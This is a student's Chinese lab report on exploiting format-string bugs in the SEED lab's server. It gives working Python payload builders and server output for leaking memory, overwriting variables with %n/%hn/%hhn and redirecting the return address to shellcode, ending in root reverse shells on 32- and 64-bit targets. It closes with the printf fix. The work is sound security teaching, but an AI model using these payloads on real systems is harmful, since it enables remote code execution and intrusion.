格式化字符串漏洞实验

518030910061 李铁

一、格式化字符串漏洞简介

C 中的 printf() 函数用于根据指定格式打印出字符串。它的第一个参数称为格式字符串， 它定义了字符串的格式。格式字符串使用由 % 字符标记的占位符用于 printf() 函数在打印期间 填充数据。格式字符串的使用不仅限于 printf() 函数；许多其他函数，例如 sprintf()、 fprintf() 和 scanf()，也使用格式字符串。某些程序允许用户输入全部或部分格式字符串内容。 如果这些内容没有被正确过滤，恶意用户就可以利用这个机会让程序运行任意代码。

二、格式化字符串漏洞实践

2.1 任务一

该任务要求提供的输入能够使服务端程序崩溃。

我们可以输入一些%s，则printf函数会认为va_list指针指向的是内存地址，并试图读取这些内存地址，并且打印结果，然而如果栈中存储的数据并非内存地址，读取时可能会使程序崩溃。则我们构造字符串：

```
content[0:10]  =  ("%s%s%s%s%s").encode('latin-1')
```

将结果传入服务端，结果如下：

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd580
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd4a8
server-10.9.0.5 | The target variable's value (before): 0x11223344
```

程序已经崩溃，达到任务要求。

2.2 任务二

此任务的目标是让服务器从其内存中打印出一些数据。

首先我们需要打印出我们输入的字符串的前四字节，我们可以通过结果不断调整输入的%x的数量，直至最终打印出字符串的前四字节。我们构造如下的输入，最终刚好输出了前四字节$0xbfffeeee$：

```
number  = 0xbfffeeee
content[0:4]  =  (number).to_bytes(4,byteorder='little')

# This line shows how to store a 4-byte string at offset 4
content[4:124]  =
(".%x.%x.%x.
```

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd580
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd4a8
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 |@
                 .11223344.1000.8049db5.80e5320.80e61c0.ffffd580.ffffd4a8.80e62d
4.80e5000.ffffd548.8049f7e.ffffd580.0.64.8049f47.80e5320.5dc.5dc.ffffd580.ffffd5
80.80e9720.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.f81cc600.80e5000.80
e5000.ffffdb68.8049eff.ffffd580.5dc.5dc.80e5320.0.0.0.ffffdc34.0.0.0.5dc.A secre
t message
server-10.9.0.5 | The target variable's value (after):  0x11223344
server-10.9.0.5 | (^ ^)(^ ^)  Returned properly (^ ^)(^ ^)
```

2.3 任务三

此任务是修改指定地址的值。

首先，我们要把指定地址的值修改为任意的其他值。

首先构造字符串：

```
number  = 0x080e5068
content[0:4]  =  (number).to_bytes(4,byteorder='little')

# This line shows how to store a 4-byte string at offset 4
content[4:124]  =
(".%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x").encode('latin-1')

content[124:196]  =
(".%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%n").enc
ode('latin-1')
```

把字符串传入服务器，如下图所示：

```
server-10.9.0.5 | Got a connection from 10.9.0.1
server-10.9.0.5 | Starting format
server-10.9.0.5 | The input buffer's address:    0xffffd580
server-10.9.0.5 | The secret message's address:  0x080b4008
server-10.9.0.5 | The target variable's address: 0x080e5068
server-10.9.0.5 | Waiting for user input ......
server-10.9.0.5 | Received 1500 bytes.
server-10.9.0.5 | Frame Pointer (inside myprintf):      0xffffd4a8
server-10.9.0.5 | The target variable's value (before): 0x11223344
server-10.9.0.5 | h.11223344.1000.8049db5.80e5320.80e61c0.ffffd580.ffffd4a8.80e6
2d4.80e5000.ffffd548.8049f7e.ffffd580.0.64.8049f47.80e5320.5dc.5dc.ffffd580.ffff
d580.80e9720.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.d35b9c00.80e5000.
80e5000.ffffdb68.8049eff.ffffd580.5dc.5dc.80e5320.0.0.0.ffffdc34.0.0.0.5dc.The t
arget variable's value (after):  0x0000012c
server-10.9.0.5 | (^ ^)(^ ^)  Returned properly (^ ^)(^ ^)
```

我们可以看到，该地址的内容被修改为0x12c。

接着，我们需要把该地址的内容改为0x5000。构造字符串如下所示：

```
number  = 0x080e5068
content[0:4]  =  (number).to_bytes(4,byteorder='little')

# This line shows how to store a 4-byte string at offset 4
content[4:204]  =
("_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.
8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.
8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x").encode('latin-1')

content[204:326]  =
("_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.
8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.19916x_%n").encode('latin-1')
```

把字符串传入服务端，结果如下所示，内存值被成功修改：

```
)000000000000000000000000000000000000000000000000000000000000000000000000000000000000
)000000000000000000000000000000000000000000000000000000000000000000000000000000000000
)000000000000000000000000000000000000000000000000000000000000000000000000000000000000
)000000000000000000000000000000000000000000000000000000000000000000000000000000000000
)000000000000000000000000000000000000000000000000000000000000000000000000000000000000
)000000000000000000000000000000000000000000000000000000000000000000000000000000000000
)000000000000000000000000000000000000000000000000000000000000000000000000000000000000
)000000000000000000000000000000000000000000000000000000000000000000000000000000000000
)000000000000000000000000000000000000000000000000000000000000000000000000000000000000
)00000000005dc_The target variable's value (after):  0x00005000
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

最后要把该地址的内容修改为为0xAABBCCDD，该数字较大，我们可以拆分为两部分0xAABB和0xCCDD分别进行修改。构造字符串如下所示：

```
number  = 0x080e5068
number1  = 0x080e506a
content[0:4]  =  (number1).to_bytes(4,byteorder='little')

content[4:8] = ("aabb").encode('latin-1')

content[8:12]  =  (number).to_bytes(4,byteorder='little')

# This line shows how to store a 4-byte string at offset 4
content[12:212]  =
("_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.
8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.
8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x").encode('latin-1')

content[212:347]  =
("_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.
8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.43135x_%hn_%.8736x_%hn").encode('latin-1')
```

把字符串传入服务端，结果如下所示，内存值被成功修改：

```
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000062626161_The target variable's v
alue (after):  0xaabbccdd
server-10.9.0.5 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

2.4 任务四

该任务需要获得服务端的shell，实际上只需要修改返回地址为shellcode所在的地址即可。

首先我们需要搞清楚服务端几个地址

- 字符串的地址在服务端已经打印出来为0xffffd580
- 返回地址在栈存在的位置和帧指针指向的地址紧邻，而帧指针的值为0xffffd4a8，则返回地址被存储在0xffffd4ac
- 格式化字符串的地址，由于我们需要64个%x才可得到字符串，则地址为0xffffd480

需要11个%x可以打印出返回地址

由于栈的地址较大，我们同样地类似于任务三分成两部分存储，构造字符串如下所示：

```
N = 1500
# Fill the content with NOP's
content = bytearray(0x90 for i in range(N))

# Choose the shellcode version based on your target
shellcode = shellcode_32

# Put the shellcode somewhere in the payload
start = N - len(shellcode)               # Change this number
content[start:start + len(shellcode)] = shellcode

################################################################
#
#    Construct the format string here
#
################################################################

number  = 0xffffd4ae
number1  = 0xffffd4ac
content[0:4]  =  (number1).to_bytes(4,byteorder='little')

content[4:8] = ("aabb").encode('latin-1')

content[8:12]  =  (number).to_bytes(4,byteorder='little')

# This line shows how to store a 4-byte string at offset 4
content[12:212]  =
("_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.
8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.
8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x").encode('latin-1')

content[212:348]  =
("_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.
8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.8x_%.54852x_%hn_%.10109x_%hn").encode('latin-1')
```

将字符串传入服务端，可以得到服务端的shell，结果如下所示：

```
[11/29/21]seed@VM:~/.../attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 40282
root@dd2a2889ec29:/fmt#
```

这里用到了反向shell技术，其关键思想是将其标准输入、输出和错误设备重定向到网络连 接，因此 shell 从连接获取输入，并将其输出也打印到连接。在连接的另一端是攻击者运行的程序； 该 程序简单地 显示来自另一端 shell 的任何内容，并将攻击者键入的任何内容通过网络连接发送到 shell。

2.5 任务五

该任务与任务四相似，都是获得服务端的shell，然而任务五中服务端使用的是64位程序。但是64位程序中地址前两字节都是0，当 printf() 解析格式字符串时，它会在看到零时停止解析。格式字符串中第一个零之后的任何内容都不会被视为格式字符串的一部分。我们可以使用自由移动参数指针来解决这个问题。

我们首先向服务端传入正常信息，结果如下所示：

```
server-10.9.0.6 | Got a connection from 10.9.0.1
server-10.9.0.6 | Starting format
server-10.9.0.6 | The input buffer's address:    0x00007fffffffe2c0
server-10.9.0.6 | The secret message's address:  0x0000555555556008
server-10.9.0.6 | The target variable's address: 0x0000555555558010
server-10.9.0.6 | Waiting for user input ......
server-10.9.0.6 | Received 6 bytes.
server-10.9.0.6 | Frame Pointer (inside myprintf):      0x00007fffffffe200
server-10.9.0.6 | The target variable's value (before): 0x1122334455667788
server-10.9.0.6 | hello
server-10.9.0.6 | The target variable's value (after):  0x1122334455667788
server-10.9.0.6 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

我们可以得出格式化字符串的地址为0x00007fffffffe2c0，帧指针的值为0x00007fffffffe200，则返回值的地址为0x00007fffffffe208。在构造字符串时，我们把shellcode放在距离字符串首地址0x300处，即shellcode地址为0x00007fffffffe5c0，我们可以按照之前的思路，把地址拆分为8个部分存入，按照0x00、0x00、0x7f、0xc0、0xe5、0xff、0xff、0xff的顺序存入内存。

构造字符串如下所示：

```
# Choose the shellcode version based on your target
shellcode = shellcode_64

# Put the shellcode somewhere in the payload
start = 0x300               # Change this number
content[start:start + len(shellcode)] = shellcode

################################################################
#
#    Construct the format string here
#
################################################################

number  =
[0x00007fffffffe20e,0x00007fffffffe20f,0x00007fffffffe20d,0x00007fffffffe208,0x0
0007fffffffe209,0x00007fffffffe20a,0x00007fffffffe20b,0x00007fffffffe20c]

for index in range(0,8) :
    content[996 + index * 8 : 1004 + index * 8] =
(number[index]).to_bytes(8,byteorder='little')

# This line shows how to store a 4-byte string at offset 4

content[0:97] =
("%160$hhn%161$hhn%162$.127lx%162$hhn_%164$.64lx%163$hhn_%166$.36lx%164$hhn_%160
$.25lx%165$hhn%166$hhn%167$hhn_").encode('latin-1')
```

将字符串传入服务端，可以获得服务端的shell，如下所示：

```
[11/29/21]seed@VM:~/.../attack-code$ nc -nv -l 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.6 57550
root@2f88ceea86d3:/fmt#
```

三、格式化字符串漏洞的防护

3.1 任务六

编译是产生的警告如下所示：

```
format.c: In function ‘myprintf’:
format.c:44:5: warning: format not a string literal and no format arguments [-Wf
ormat-security]
   44 |     printf(msg);
      |     ^~~~~~
gcc -DBUF_SIZE=100 -z execstack  -o format-64 format.c
format.c: In function ‘myprintf’:
format.c:44:5: warning: format not a string literal and no format arguments [-Wf
ormat-security]
   44 |     printf(msg);
      |     ^~~~~~
```

这里编译器无法验证格式化字符串的形式，而且printf函数除了字符串外并没有其他参数，可能会造成未知的结果。

为了避免格式化字符串漏洞我们需要避免把用户输入的字符串当作格式化字符串，因此我们需要把

```
printf(msg);
```

改为：

```
// This line has a format-string vulnerability
printf("%s",msg);
```

接着我们传入较多的%s到服务器端，可以得到：

```
server-10.9.0.6 | Got a connection from 10.9.0.1
server-10.9.0.6 | Starting format
server-10.9.0.6 | The input buffer's address:    0x00007fffffffe330
server-10.9.0.6 | The secret message's address:  0x0000555555556008
server-10.9.0.6 | The target variable's address: 0x0000555555558010
server-10.9.0.6 | Waiting for user input ......
server-10.9.0.6 | Received 17 bytes.
server-10.9.0.6 | Frame Pointer (inside myprintf):      0x00007fffffffe270
server-10.9.0.6 | The target variable's value (before): 0x1122334455667788
server-10.9.0.6 | %s%s%s%s%s%s%s%s
server-10.9.0.6 | The target variable's value (after):  0x1122334455667788
server-10.9.0.6 | (^_^)(^_^)  Returned properly (^_^)(^_^)
```

我们可以看到，%s并未被解释为指针，而是直接输出，无法利用格式化字符串漏洞，防护成功。

四、总结

通过这次实验，我学习了格式化字符串的基本原理，并利用格式化字符串尝试读取内存上的值、修改内容上的值、借助shellcode获取shell等，并通过指定自由移动参数指针来避免64位地址高位为0而带来的麻烦。这也让我明白了在之后使用printf时，不能使用用户的输入作为格式化字符串。

最后十分感谢老师和助教的指导！